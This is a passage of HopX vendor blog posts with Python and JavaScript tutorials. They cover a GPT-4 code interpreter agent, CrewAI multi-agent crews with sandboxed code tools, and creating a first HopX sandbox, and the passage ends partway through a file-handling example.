Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Deep dive --- ## Build a Code Interpreter Agent with OpenAI and HopX URL: https://hopx.ai/blog/ai-agents/build-code-interpreter-openai-hopx/ Category: AI Agents Published: 2025-11-26 # Build a Code Interpreter Agent with OpenAI and HopX OpenAI's Code Interpreter is powerful but limited: you can't customize the environment, install arbitrary packages, or integrate it with your own data. Let's build our own version using GPT-4 and HopX. By the end of this tutorial, you'll have an AI agent that: - Writes Python code based on natural language requests - Executes code in a secure, isolated sandbox - Handles errors and iterates until success - Returns results to the user ## Architecture Overview ``` ┌─────────────────────────────────────────────────────────┐ │ User Request │ │ "Analyze this CSV and plot sales" │ └─────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────┐ │ OpenAI GPT-4 │ │ (with tool/function calling) │ └─────────────────────────────────────────────────────────┘ │ Generates code │ ▼ ┌─────────────────────────────────────────────────────────┐ │ HopX Sandbox │ │ (isolated microVM execution) │ └─────────────────────────────────────────────────────────┘ │ Returns output │ ▼ ┌─────────────────────────────────────────────────────────┐ │ Agent Decision │ │ Success? Return to user : Retry with fix │ └─────────────────────────────────────────────────────────┘ ``` ## Prerequisites - Python 3.8+ - OpenAI API key - HopX API key (get one at [console.hopx.ai](https://console.hopx.ai)) ## Step 1: Set Up the Project Create a new directory and install dependencies: ```bash mkdir code-interpreter cd code-interpreter pip install openai hopx-ai ``` Set your API keys: ```bash export OPENAI_API_KEY="sk-..." export HOPX_API_KEY="..." ``` ## Step 2: Define the Execute Code Tool OpenAI's function calling feature lets GPT-4 request code execution. First, define the tool schema: ```python # tools.py EXECUTE_CODE_TOOL = { "type": "function", "function": { "name": "execute_python", "description": "Execute Python code in a secure sandbox. Use this to run calculations, process data, create visualizations, or test code. The sandbox has pandas, numpy, matplotlib, and other common libraries installed.", "parameters": { "type": "object", "properties": { "code": { "type": "string", "description": "The Python code to execute. Must be valid Python 3 code." }, "description": { "type": "string", "description": "Brief description of what this code does" } }, "required": ["code", "description"] } } } TOOLS = [EXECUTE_CODE_TOOL] ``` ## Step 3: Create the Sandbox Executor This function handles code execution in HopX: ```python # executor.py from hopx_ai import Sandbox from typing import Optional import base64 class CodeExecutor: def __init__(self, template: str = "code-interpreter"): self.template = template self.sandbox: Optional[Sandbox] = None def __enter__(self): # Create sandbox on entry self.sandbox = Sandbox.create(template=self.template) return self def __exit__(self, *args): # Clean up sandbox on exit if self.sandbox: self.sandbox.kill() def execute(self, code: str) -> dict: """Execute code and return structured result.""" if not self.sandbox: raise RuntimeError("Executor not initialized. Use 'with' statement.") result = self.sandbox.run_code(code) return { "success": result.exit_code == 0, "stdout": result.stdout, "stderr": result.stderr, "exit_code": result.exit_code } def upload_file(self, local_path: str, sandbox_path: str): """Upload a file to the sandbox.""" with open(local_path, 'rb') as f: content = f.read() self.sandbox.files.write(sandbox_path, content) def download_file(self, sandbox_path: str) -> bytes: """Download a file from the sandbox.""" return self.sandbox.files.read(sandbox_path) def list_files(self, path: str = "/app") -> list: """List files in sandbox directory.""" return self.sandbox.files.list(path) ``` ## Step 4: Build the Agent Loop The agent orchestrates between GPT-4 and the sandbox: ```python # agent.py from openai import OpenAI from executor import CodeExecutor from tools import TOOLS import json class CodeInterpreterAgent: def __init__(self, model: str = "gpt-4-turbo-preview"): self.client = OpenAI() self.model = model self.max_iterations = 5 self.system_prompt = """You are a helpful coding assistant that can execute Python code. When the user asks you to do something that requires computation, data analysis, or code execution: 1. Write Python code to accomplish the task 2. Use the execute_python tool to run it 3. Analyze the output and provide a clear response You have access to a sandbox with these pre-installed libraries: - pandas, numpy, scipy (data analysis) - matplotlib, seaborn, plotly (visualization) - scikit-learn (machine learning) - requests (HTTP) - Standard library (json, csv, datetime, etc.) Guidelines: - Always show your work by executing code - Handle errors gracefully and retry with fixes - For visualizations, save to /app/output.png and mention it - Be concise but thorough in explanations""" def run(self, user_message: str, executor: CodeExecutor) -> str: """Run the agent loop.""" messages = [ {"role": "system", "content": self.system_prompt}, {"role": "user", "content": user_message} ] for iteration in range(self.max_iterations): # Call GPT-4 response = self.client.chat.completions.create( model=self.model, messages=messages, tools=TOOLS, tool_choice="auto" ) assistant_message = response.choices[0].message messages.append(assistant_message) # Check if GPT-4 wants to execute code if assistant_message.tool_calls: for tool_call in assistant_message.tool_calls: if tool_call.function.name == "execute_python": # Parse the code args = json.loads(tool_call.function.arguments) code = args["code"] description = args.get("description", "Executing code") print(f"\n🔧 Executing: {description}") print(f"```python\n{code}\n```") # Execute in sandbox result = executor.execute(code) # Format result for GPT-4 if result["success"]: tool_result = f"✅ Code executed successfully.\n\nOutput:\n{result['stdout']}" else: tool_result = f"❌ Code failed with exit code {result['exit_code']}.\n\nError:\n{result['stderr']}\n\nStdout:\n{result['stdout']}" print(f"\n📤 Result: {tool_result[:200]}...") # Add tool result to messages messages.append({ "role": "tool", "tool_call_id": tool_call.id, "content": tool_result }) else: # No tool calls - GPT-4 is done return assistant_message.content return "Max iterations reached. Please try a simpler request." def main(): """Example usage.""" agent = CodeInterpreterAgent() with CodeExecutor() as executor: # Example 1: Simple calculation print("\n" + "="*60) print("Example 1: Fibonacci sequence") print("="*60) result = agent.run( "Calculate the first 20 Fibonacci numbers and find their sum", executor ) print(f"\n🤖 Agent: {result}") # Example 2: Data analysis print("\n" + "="*60) print("Example 2: Data analysis") print("="*60) result = agent.run( "Create a sample dataset of 100 sales records with date, product, and amount columns. Then show me basic statistics and the top 5 products by total sales.", executor ) print(f"\n🤖 Agent: {result}") if __name__ == "__main__": main() ``` ## Step 5: Run the Agent ```bash python agent.py ``` Example output: ``` ============================================================ Example 1: Fibonacci sequence ============================================================ 🔧 Executing: Calculate Fibonacci numbers and sum ```python def fibonacci(n): fib = [0, 1] for i in range(2, n): fib.append(fib[i-1] + fib[i-2]) return fib fibs = fibonacci(20) print(f"First 20 Fibonacci numbers: {fibs}") print(f"Sum: {sum(fibs)}") ``` 📤 Result: ✅ Code executed successfully. Output: First 20 Fibonacci numbers: [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181] Sum: 10945 🤖 Agent: The first 20 Fibonacci numbers are [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181] and their sum is **10,945**. ``` ## Step 6: Add File Upload Support Let users upload files for analysis: ```python # agent_with_files.py def analyze_csv(file_path: str, question: str): """Upload a CSV and ask questions about it.""" agent = CodeInterpreterAgent() with CodeExecutor() as executor: # Upload the file to sandbox executor.upload_file(file_path, "/app/data.csv") # Modify the prompt to mention the file prompt = f"""I've uploaded a CSV file to /app/data.csv. Please analyze it and answer this question: {question} Start by loading the file and showing its structure.""" result = agent.run(prompt, executor) return result # Usage result = analyze_csv( "sales_data.csv", "What were the top 3 performing months?" ) print(result) ``` ## Step 7: Handle Visualizations For charts and plots, save to a file and download: ```python # visualization.py def create_visualization(data_description: str, chart_request: str): """Create a visualization and return the image.""" agent = CodeInterpreterAgent() prompt = f"""Create the following visualization: {chart_request} Data: {data_description} Save the chart to /app/chart.png using plt.savefig('/app/chart.png', dpi=150, bbox_inches='tight')""" with CodeExecutor() as executor: result = agent.run(prompt, executor) # Download the generated chart try: image_data = executor.download_file("/app/chart.png") # Save locally with open("output_chart.png", "wb") as f: f.write(image_data) print("Chart saved to output_chart.png") except Exception as e: print(f"Could not download chart: {e}") return result # Usage create_visualization( "Monthly sales data for 2024", "A bar chart showing sales by month with a trend line" ) ``` ## Step 8: Error Recovery The agent should handle errors and retry. Here's an enhanced version: ```python # robust_agent.py class RobustCodeInterpreterAgent(CodeInterpreterAgent): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # Enhanced system prompt with error handling guidance self.system_prompt += """ Error Handling: - If code fails, analyze the error carefully - Fix the issue and try again - Common fixes: import missing libraries, fix syntax errors, handle edge cases - After 2 failed attempts at the same approach, try a different method""" def run(self, user_message: str, executor: CodeExecutor) -> str: """Run with enhanced error tracking.""" messages = [ {"role": "system", "content": self.system_prompt}, {"role": "user", "content": user_message} ] error_count = 0 last_error = None for iteration in range(self.max_iterations): response = self.client.chat.completions.create( model=self.model, messages=messages, tools=TOOLS, tool_choice="auto" ) assistant_message = response.choices[0].message messages.append(assistant_message) if assistant_message.tool_calls: for tool_call in assistant_message.tool_calls: if tool_call.function.name == "execute_python": args = json.loads(tool_call.function.arguments) code = args["code"] result = executor.execute(code) if result["success"]: error_count = 0 # Reset on success tool_result = f"✅ Success:\n{result['stdout']}" else: error_count += 1 last_error = result["stderr"] if error_count >= 3: tool_result = f"""❌ Failed ({error_count} attempts). Error: {result['stderr']} ⚠️ You've had multiple failures. Please try a completely different approach or simplify the solution.""" else: tool_result = f"""❌ Failed (attempt {error_count}): {result['stderr']} Please fix the error and try again.""" messages.append({ "role": "tool", "tool_call_id": tool_call.id, "content": tool_result }) else: return assistant_message.content return f"Could not complete the task after {self.max_iterations} iterations. Last error: {last_error}" ``` ## Complete Example: Data Analysis Agent Here's a full working example: ```python # complete_agent.py from openai import OpenAI from hopx_ai import Sandbox import json # Tool definition TOOLS = [{ "type": "function", "function": { "name": "execute_python", "description": "Execute Python code in a secure sandbox with pandas, numpy, matplotlib", "parameters": { "type": "object", "properties": { "code": {"type": "string", "description": "Python code to execute"} }, "required": ["code"] } } }] def run_code_interpreter(user_request: str) -> str: """Complete code interpreter agent.""" client = OpenAI() messages = [ {"role": "system", "content": "You are a Python coding assistant. Execute code to answer questions."}, {"role": "user", "content": user_request} ] with Sandbox.create(template="code-interpreter") as sandbox: for _ in range(5): # Max iterations response = client.chat.completions.create( model="gpt-4-turbo-preview", messages=messages, tools=TOOLS ) msg = response.choices[0].message messages.append(msg) if not msg.tool_calls: return msg.content for tool_call in msg.tool_calls: code = json.loads(tool_call.function.arguments)["code"] result = sandbox.run_code(code) output = result.stdout if result.exit_code == 0 else f"Error: {result.stderr}" messages.append({ "role": "tool", "tool_call_id": tool_call.id, "content": output }) return "Could not complete request." # Example usage if __name__ == "__main__": result = run_code_interpreter( "Generate 1000 random numbers, calculate their mean and standard deviation, " "and create a histogram showing their distribution." ) print(result) ``` ## Common Questions ### Can I use Claude or other LLMs instead of GPT-4? Yes! Any LLM with function/tool calling works. Anthropic Claude example: ```python from anthropic import Anthropic client = Anthropic() response = client.messages.create( model="claude-3-opus-20240229", tools=[...], # Same tool schema messages=[...] ) ``` ### How do I handle long-running code? For code that takes more than 60 seconds, use background execution: ```python # Start long-running task process_id = sandbox.run_code_background(long_running_code) # Check status periodically while True: status = sandbox.get_process_status(process_id) if status.completed: break time.sleep(5) ``` ### Can I keep the sandbox between requests? Yes, to reuse state (installed packages, created files): ```python # Create once sandbox = Sandbox.create(template="code-interpreter") # Use for multiple requests sandbox.run_code("pip install transformers") sandbox.run_code("from transformers import pipeline; ...") sandbox.run_code("# Uses same environment...") # Clean up when done sandbox.kill() ``` ### How do I restrict what code can do? HopX sandboxes are already isolated. For additional restrictions: - Use network policies to limit outbound connections - Set resource limits (CPU, memory, disk) - Use custom templates with minimal packages ## Conclusion You've built a Code Interpreter agent that: - ✅ Uses GPT-4 for code generation - ✅ Executes code in isolated HopX sandboxes - ✅ Handles errors and iterates - ✅ Supports file upload/download - ✅ Creates visualizations This architecture is production-ready. The sandbox isolation means even malicious or buggy LLM-generated code can't harm your infrastructure. --- Ready to build your own? [Sign up for HopX](https://console.hopx.ai) and get $200 in free credits. --- ## CrewAI Multi-Agent Pipelines with Secure Code Execution URL: https://hopx.ai/blog/tutorials/crewai-multi-agent-pipelines-hopx/ Category: Tutorials Published: 2025-11-26 # CrewAI Multi-Agent Pipelines with Secure Code Execution CrewAI makes building multi-agent systems surprisingly simple. Define agents with roles, give them tools, and let them collaborate. But when those agents need to execute code, you face a choice: run it unsafely on your host, or set up complex containerization. HopX sandboxes give you a third option: instant, isolated execution that works seamlessly with CrewAI's tool system. ## What We're Building A research crew that: 1. **Researcher Agent** - Gathers information and identifies analysis needs 2. **Data Analyst Agent** - Writes and executes Python code for analysis 3. **Report Writer Agent** - Synthesizes findings into a report ``` ┌─────────────────────────────────────────────────────────────────┐ │ CrewAI Crew │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Researcher │───▶│ Data Analyst │───▶│Report Writer │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ │ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ Search │ │ HopX │ │ File │ │ │ │ Tool │ │Sandbox │ │ Tool │ │ │ └─────────┘ └─────────┘ └─────────┘ │ │ │ │ │ Isolated Code Execution │ └─────────────────────────────────────────────────────────────────┘ ``` ## Prerequisites ```bash pip install crewai crewai-tools hopx-ai ``` Set environment variables: ```bash export OPENAI_API_KEY="sk-..." export HOPX_API_KEY="..." ``` ## Step 1: Create Secure Code Execution Tools First, build CrewAI-compatible tools that execute code in HopX: ```python from crewai.tools import BaseTool from hopx import Sandbox from pydantic import BaseModel, Field from typing import Type, Optional class PythonCodeInput(BaseModel): """Input schema for Python execution.""" code: str = Field(description="Python code to execute") class PythonExecutorTool(BaseTool): """Execute Python code in a secure HopX sandbox.""" name: str = "python_executor" description: str = """Execute Python code in an isolated sandbox. Use this tool to: - Perform calculations and data analysis - Process and transform data with pandas - Create visualizations with matplotlib - Run any Python computation The sandbox has pandas, numpy, matplotlib, seaborn, scikit-learn installed. Always print() results you want to see. For charts, use plt.savefig('/app/chart.png') then mention the file. """ args_schema: Type[BaseModel] = PythonCodeInput def _run(self, code: str) -> str: """Execute code in sandbox.""" sandbox = None try: sandbox = Sandbox.create(template="code-interpreter") result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode == 0: output = result.stdout or "Code executed successfully (no output)" return f"✅ Success:\n{output}" else: return f"❌ Error:\n{result.stderr}" except Exception as e: return f"❌ Sandbox error: {str(e)}" finally: if sandbox: sandbox.kill() class BashCommandInput(BaseModel): """Input schema for bash commands.""" command: str = Field(description="Bash command to execute") class BashExecutorTool(BaseTool): """Execute bash commands in a secure sandbox.""" name: str = "bash_executor" description: str = """Execute bash/shell commands in an isolated sandbox. Use for: - File operations (ls, cat, head, tail) - Installing packages (pip install) - System commands """ args_schema: Type[BaseModel] = BashCommandInput def _run(self, command: str) -> str: sandbox = None try: sandbox = Sandbox.create(template="code-interpreter") result = sandbox.runCode(command, language="bash", timeout=60) if result.exitCode == 0: return f"✅ Success:\n{result.stdout}" else: return f"❌ Error (exit {result.exitCode}):\n{result.stderr}" except Exception as e: return f"❌ Error: {str(e)}" finally: if sandbox: sandbox.kill() ``` ## Step 2: Create a Persistent Sandbox Tool For multi-step analysis, agents need to share state. Create a tool with persistent sandbox: ```python from crewai.tools import BaseTool from hopx import Sandbox from pydantic import BaseModel, Field from typing import Type, Optional, ClassVar import threading class SharedSandboxManager: """Singleton manager for shared sandbox across agents.""" _instance: Optional['SharedSandboxManager'] = None _lock: ClassVar[threading.Lock] = threading.Lock() def __init__(self): self.sandbox: Optional[Sandbox] = None self.ttl = 600 # 10 minutes @classmethod def get_instance(cls) -> 'SharedSandboxManager': if cls._instance is None: with cls._lock: if cls._instance is None: cls._instance = cls() return cls._instance def get_sandbox(self) -> Sandbox: if self.sandbox is None: self.sandbox = Sandbox.create( template="code-interpreter", ttl=self.ttl ) return self.sandbox def cleanup(self): if self.sandbox: try: self.sandbox.kill() except: pass self.sandbox = None class SharedPythonInput(BaseModel): code: str = Field(description="Python code to execute") class SharedPythonTool(BaseTool): """Execute Python with persistent state across agents.""" name: str = "shared_python" description: str = """Execute Python code with PERSISTENT STATE. Variables, imports, and data persist between calls. Use this when you need to build on previous computations. All agents share the same execution environment. Example workflow: 1. First call: import pandas; df = pd.read_csv('data.csv') 2. Second call: df['new_col'] = df['a'] * 2 # df still exists! 3. Third call: print(df.describe()) # works! """ args_schema: Type[BaseModel] = SharedPythonInput def _run(self, code: str) -> str: manager = SharedSandboxManager.get_instance() try: sandbox = manager.get_sandbox() result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode == 0: return result.stdout or "Executed (no output)" else: return f"Error: {result.stderr}" except Exception as e: manager.cleanup() return f"Sandbox error: {str(e)}" ``` ## Step 3: Define Your Agents Create specialized agents with their tools: ```python from crewai import Agent, Task, Crew, Process # Initialize tools python_tool = PythonExecutorTool() bash_tool = BashExecutorTool() shared_python = SharedPythonTool() # Research Agent - Gathers information researcher = Agent( role="Senior Research Analyst", goal="Identify key data points and analysis requirements", backstory="""You are an experienced research analyst who excels at breaking down complex problems into specific, measurable questions. You identify what data is needed and what analyses will provide insights.""", tools=[], # Researcher doesn't need code execution verbose=True, allow_delegation=False ) # Data Analyst Agent - Runs analysis data_analyst = Agent( role="Senior Data Analyst", goal="Analyze data using Python to extract meaningful insights", backstory="""You are a skilled data analyst proficient in Python, pandas, and statistical analysis. You write clean, efficient code to analyze data and create visualizations. You always verify your results.""", tools=[shared_python, bash_tool], verbose=True, allow_delegation=False ) # Report Writer Agent - Creates final report report_writer = Agent( role="Technical Report Writer", goal="Create clear, actionable reports from analysis results", backstory="""You excel at translating complex technical findings into clear, well-structured reports. You highlight key insights and provide actionable recommendations.""", tools=[shared_python], # Can run code to format/verify data verbose=True, allow_delegation=False ) ``` ## Step 4: Define Tasks Create tasks that flow between agents: ```python # Task 1: Research research_task = Task( description="""Analyze the requirements for understanding sales performance. We have sales data with columns: date, product, region, quantity, revenue. Identify: 1. Key metrics to calculate (totals, averages, trends) 2. Important comparisons (by product, by region, over time) 3. Specific questions the analysis should answer Output a structured analysis plan.""", expected_output="A detailed analysis plan with specific metrics and questions", agent=researcher ) # Task 2: Data Analysis analysis_task = Task( description="""Execute the analysis plan using Python. First, create sample sales data that matches the description: - 1000 rows of sales data - Columns: date, product, region, quantity, revenue - Date range: 2024-01-01 to 2024-12-31 - Products: ["Laptop", "Phone", "Tablet", "Watch", "Headphones"] - Regions: ["North", "South", "East", "West"] Then perform the analysis: 1. Calculate total revenue and quantity by product 2. Calculate average order value by region 3. Identify monthly trends 4. Find top performing product-region combinations 5. Calculate month-over-month growth rates Use the shared_python tool to maintain state between code executions. Print all results clearly with labels.""", expected_output="Complete analysis results with all calculated metrics", agent=data_analyst, context=[research_task] # Depends on research ) # Task 3: Report Writing report_task = Task( description="""Create a comprehensive report based on the analysis. Structure: 1. Executive Summary (key findings in 3-4 bullet points) 2. Methodology (how data was analyzed) 3. Key Findings (detailed results with numbers) 4. Recommendations (3-5 actionable items) 5. Appendix (any additional details) Use the shared_python tool if you need to access or verify any data. Format the report in clean markdown.""", expected_output="A well-structured markdown report with all sections", agent=report_writer, context=[analysis_task] # Depends on analysis ) ``` ## Step 5: Run the Crew Assemble and execute: ```python # Create the crew sales_analysis_crew = Crew( agents=[researcher, data_analyst, report_writer], tasks=[research_task, analysis_task, report_task], process=Process.sequential, # Tasks run in order verbose=True ) # Run it! if __name__ == "__main__": try: result = sales_analysis_crew.kickoff() print("\n" + "="*60) print("FINAL REPORT") print("="*60) print(result) finally: # Clean up sandbox SharedSandboxManager.get_instance().cleanup() ``` ## Advanced: Hierarchical Crew with Manager For complex workflows, use a manager agent to coordinate: ```python from crewai import Agent, Task, Crew, Process # Manager Agent manager = Agent( role="Project Manager", goal="Coordinate the team to deliver high-quality analysis", backstory="""You are an experienced project manager who ensures deliverables are on time and meet quality standards. You delegate effectively and provide clear guidance.""", allow_delegation=True, verbose=True ) # Specialist Agents python_expert = Agent( role="Python Developer", goal="Write efficient, well-documented Python code", backstory="Expert Python developer with 10 years of experience.", tools=[shared_python, bash_tool], verbose=True ) data_scientist = Agent( role="Data Scientist", goal="Apply statistical methods and ML to extract insights", backstory="PhD in Statistics with expertise in ML and data analysis.", tools=[shared_python], verbose=True ) visualizer = Agent( role="Data Visualization Expert", goal="Create clear, impactful visualizations", backstory="Expert in matplotlib, seaborn, and data storytelling.", tools=[shared_python], verbose=True ) # Create hierarchical crew hierarchical_crew = Crew( agents=[python_expert, data_scientist, visualizer], tasks=[...], # Define tasks manager_agent=manager, process=Process.hierarchical, verbose=True ) ``` ## Parallel Agent Execution For independent tasks, run agents in parallel: ```python from crewai import Crew, Process import asyncio # Define independent analysis tasks north_analysis = Task( description="Analyze North region sales data", agent=data_analyst, expected_output="North region analysis" ) south_analysis = Task( description="Analyze South region sales data", agent=data_analyst, expected_output="South region analysis" ) east_analysis = Task( description="Analyze East region sales data", agent=data_analyst, expected_output="East region analysis" ) west_analysis = Task( description="Analyze West region sales data", agent=data_analyst, expected_output="West region analysis" ) # Consolidation task (runs after all parallel tasks) consolidate_task = Task( description="Consolidate all regional analyses into final report", agent=report_writer, expected_output="Consolidated report", context=[north_analysis, south_analysis, east_analysis, west_analysis] ) # Parallel crew parallel_crew = Crew( agents=[data_analyst, report_writer], tasks=[north_analysis, south_analysis, east_analysis, west_analysis, consolidate_task], process=Process.sequential, # CrewAI handles parallelization internally verbose=True ) ``` ## Tool with File Upload Support Enable agents to work with uploaded files: ```python from crewai.tools import BaseTool from hopx import Sandbox from pydantic import BaseModel, Field from typing import Type import base64 class FileAnalysisInput(BaseModel): file_content: str = Field(description="Base64 encoded file content") filename: str = Field(description="Name of the file") analysis_code: str = Field(description="Python code to analyze the file") class FileAnalysisTool(BaseTool): """Upload and analyze files in sandbox.""" name: str = "file_analyzer" description: str = """Upload a file and analyze it with Python code. Provide: 1. file_content: Base64 encoded file data 2. filename: Name to save as (e.g., 'data.csv') 3. analysis_code: Python code to analyze (file is at /app/{filename}) """ args_schema: Type[BaseModel] = FileAnalysisInput def _run(self, file_content: str, filename: str, analysis_code: str) -> str: sandbox = None try: sandbox = Sandbox.create(template="code-interpreter") # Decode and upload file file_bytes = base64.b64decode(file_content) sandbox.files.write(f"/app/{filename}", file_bytes) # Run analysis result = sandbox.runCode(analysis_code, language="python", timeout=120) if result.exitCode == 0: return f"✅ Analysis complete:\n{result.stdout}" else: return f"❌ Error:\n{result.stderr}" except Exception as e: return f"❌ Error: {str(e)}" finally: if sandbox: sandbox.kill() ``` ## Error Handling in Multi-Agent Systems Robust error handling for production: ```python from crewai.tools import BaseTool from hopx import Sandbox import time class RobustPythonTool(BaseTool): """Python execution with retry and error recovery.""" name: str = "robust_python" description: str = "Execute Python with automatic error recovery" max_retries: int = 3 retry_delay: float = 2.0 def _run(self, code: str) -> str: last_error = None for attempt in range(self.max_retries): sandbox = None try: sandbox = Sandbox.create(template="code-interpreter") result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode == 0: return result.stdout or "Success" else: # Syntax/runtime error - don't retry, let agent fix return f"Code error:\n{result.stderr}" except Exception as e: last_error = str(e) if attempt < self.max_retries - 1: time.sleep(self.retry_delay) finally: if sandbox: try: sandbox.kill() except: pass return f"Sandbox failed after {self.max_retries} attempts: {last_error}" ``` ## Complete Example: Market Research Crew Here's a production-ready example: ```python """ Market Research Crew with Secure Code Execution """ from crewai import Agent, Task, Crew, Process from crewai.tools import BaseTool from hopx import Sandbox from pydantic import BaseModel, Field from typing import Type, Optional import os # Ensure API keys assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY" assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY" class SandboxManager: """Manage shared sandbox for crew.""" _sandbox: Optional[Sandbox] = None @classmethod def get(cls) -> Sandbox: if cls._sandbox is None: cls._sandbox = Sandbox.create(template="code-interpreter", ttl=600) return cls._sandbox @classmethod def cleanup(cls): if cls._sandbox: cls._sandbox.kill() cls._sandbox = None class CodeInput(BaseModel): code: str = Field(description="Python code to execute") class AnalysisTool(BaseTool): name: str = "analyze" description: str = "Execute Python for data analysis. State persists." args_schema: Type[BaseModel] = CodeInput def _run(self, code: str) -> str: try: result = SandboxManager.get().runCode(code, language="python", timeout=60) return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}" except Exception as e: return f"Error: {e}" def create_market_research_crew(): """Create a crew for market research analysis.""" tool = AnalysisTool() # Agents market_analyst = Agent( role="Market Research Analyst", goal="Analyze market data to identify trends and opportunities", backstory="15 years of experience in market research and competitive analysis.", tools=[tool], verbose=True ) quant_analyst = Agent( role="Quantitative Analyst", goal="Apply statistical methods to validate market insights", backstory="Former hedge fund quant with expertise in statistical modeling.", tools=[tool], verbose=True ) strategist = Agent( role="Business Strategist", goal="Translate analysis into actionable business strategies", backstory="MBA from Wharton, 10 years in strategy consulting.", tools=[tool], verbose=True ) # Tasks data_collection = Task( description="""Create a synthetic market dataset for analysis: Generate data with: - 500 companies - Columns: company, sector, revenue, growth_rate, market_share, employees, founded_year - Sectors: Tech, Healthcare, Finance, Retail, Manufacturing - Realistic distributions Save to /app/market_data.csv and show summary stats.""", expected_output="Dataset created with summary statistics", agent=market_analyst ) statistical_analysis = Task( description="""Perform statistical analysis on market_data.csv: 1. Correlation analysis between variables 2. Sector comparison (ANOVA for revenue differences) 3. Growth rate distribution analysis 4. Identify statistical outliers 5. Regression: what predicts growth_rate? Print all statistical results with interpretations.""", expected_output="Complete statistical analysis with interpretations", agent=quant_analyst, context=[data_collection] ) strategic_report = Task( description="""Create strategic recommendations based on analysis: 1. Executive Summary 2. Key Market Insights (backed by data) 3. Sector Opportunities (ranked) 4. Risk Assessment 5. Strategic Recommendations (5 specific actions) Reference specific numbers from the analysis.""", expected_output="Strategic report with data-backed recommendations", agent=strategist, context=[statistical_analysis] ) return Crew( agents=[market_analyst, quant_analyst, strategist], tasks=[data_collection, statistical_analysis, strategic_report], process=Process.sequential, verbose=True ) if __name__ == "__main__": crew = create_market_research_crew() try: result = crew.kickoff() print("\n" + "="*70) print("MARKET RESEARCH REPORT") print("="*70) print(result) finally: SandboxManager.cleanup() ``` ## Best Practices ### 1. One Sandbox Per Crew Session ```python # Don't create sandbox per tool call # DO: Share sandbox across the crew run manager = SharedSandboxManager.get_instance() ``` ### 2. Clear Tool Descriptions ```python # Bad: Vague description = "Run Python code" # Good: Specific with examples description = """Execute Python for data analysis. Use pandas for data manipulation: df = pd.read_csv(...) Use matplotlib for charts: plt.savefig('/app/chart.png') Always print() results you want to see.""" ``` ### 3. Task Context for Data Flow ```python # Ensure data flows between tasks analysis_task = Task( ..., context=[data_prep_task] # Access previous task output ) ``` ### 4. Cleanup on Completion ```python try: result = crew.kickoff() finally: SandboxManager.cleanup() # Always cleanup ``` ## Conclusion CrewAI + HopX gives you: - **Multi-agent collaboration** with specialized roles - **Safe code execution** in isolated sandboxes - **Persistent state** for complex analyses - **Production-ready** error handling and cleanup Your agents can think, collaborate, and execute code—without putting your infrastructure at risk. --- Ready to build your own AI crew? [Get started with HopX](https://console.hopx.ai) for secure agent execution. ## Further Reading - [LangChain Tools with Secure Execution](/blog/tutorials/langchain-tools-secure-code-execution) — LangChain integration - [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Deep dive into patterns - [CrewAI Documentation](https://docs.crewai.com/) — Official docs - [Orchestrator Pattern](/blog/ai-agents/orchestrator-pattern-ai-agents) — Coordination patterns --- ## Getting Started with HopX: Your First Sandbox in 5 Minutes URL: https://hopx.ai/blog/tutorials/getting-started-with-hopx/ Category: Tutorials Published: 2025-11-26 # Getting Started with HopX: Your First Sandbox in 5 Minutes HopX gives you secure, isolated cloud sandboxes that start in under 100 milliseconds. Each sandbox is a fully-functional Linux VM with root access—perfect for running untrusted code, AI agent workflows, or data processing tasks. In this guide, you'll create your first sandbox and execute code in it. Let's get started. ## Prerequisites Before you begin, you'll need: - A HopX account (sign up at [console.hopx.ai](https://console.hopx.ai)) - Your API key from the HopX dashboard - Python 3.8+ or Node.js 18+ ## Step 1: Install the SDK Choose your preferred language: ### Python ```bash pip install hopx-ai ``` ### JavaScript/TypeScript ```bash npm install @hopx-ai/sdk ``` ## Step 2: Set Up Authentication Export your API key as an environment variable: ```bash export HOPX_API_KEY="your-api-key-here" ``` Or pass it directly when creating sandboxes (we'll show both methods). ## Step 3: Create Your First Sandbox ### Python Example ```python from hopx_ai import Sandbox # Create a sandbox using the code-interpreter template sandbox = Sandbox.create(template="code-interpreter") print(f"Sandbox created: {sandbox.id}") print(f"Status: {sandbox.status}") ``` ### JavaScript Example ```javascript import { Sandbox } from '@hopx-ai/sdk'; const sandbox = await Sandbox.create({ template: 'code-interpreter' }); console.log(`Sandbox created: ${sandbox.id}`); console.log(`Status: ${sandbox.status}`); ``` That's it! Your sandbox is now running in the cloud. ## Step 4: Execute Code Now let's run some Python code in your sandbox: ### Python ```python from hopx_ai import Sandbox with Sandbox.create(template="code-interpreter") as sandbox: # Execute Python code result = sandbox.run_code(""" import sys print(f"Python version: {sys.version}") print("Hello from HopX!") # Do some computation numbers = [1, 2, 3, 4, 5] total = sum(numbers) print(f"Sum of {numbers} = {total}") """) print("Output:", result.stdout) ``` ### JavaScript ```javascript import { Sandbox } from '@hopx-ai/sdk'; const sandbox = await Sandbox.create({ template: 'code-interpreter' }); try { const result = await sandbox.runCode(` import sys print(f"Python version: {sys.version}") print("Hello from HopX!") numbers = [1, 2, 3, 4, 5] total = sum(numbers) print(f"Sum of {numbers} = {total}") `); console.log('Output:', result.stdout); } finally { await sandbox.kill(); } ``` **Output:** ``` Python version: 3.11.0 Hello from HopX! Sum of [1, 2, 3, 4, 5] = 15 ``` ## Step 5: Work with Files Sandboxes have a full filesystem. You can read and write files: ### Python ```python from hopx_ai import Sandbox with Sandbox.create(template="code-interpreter") as sandbox: # Write a file sandbox.files.write("/app/data.txt", "Hello, HopX!") # Read it back content = sandbox.files.read("/app/data.txt") print(f"File content: {content}") # List directory contents files = sandbox.files.list("/app") print(f"Files in /app: {files}") ``` ### JavaScript ```javascript import { Sandbox } from 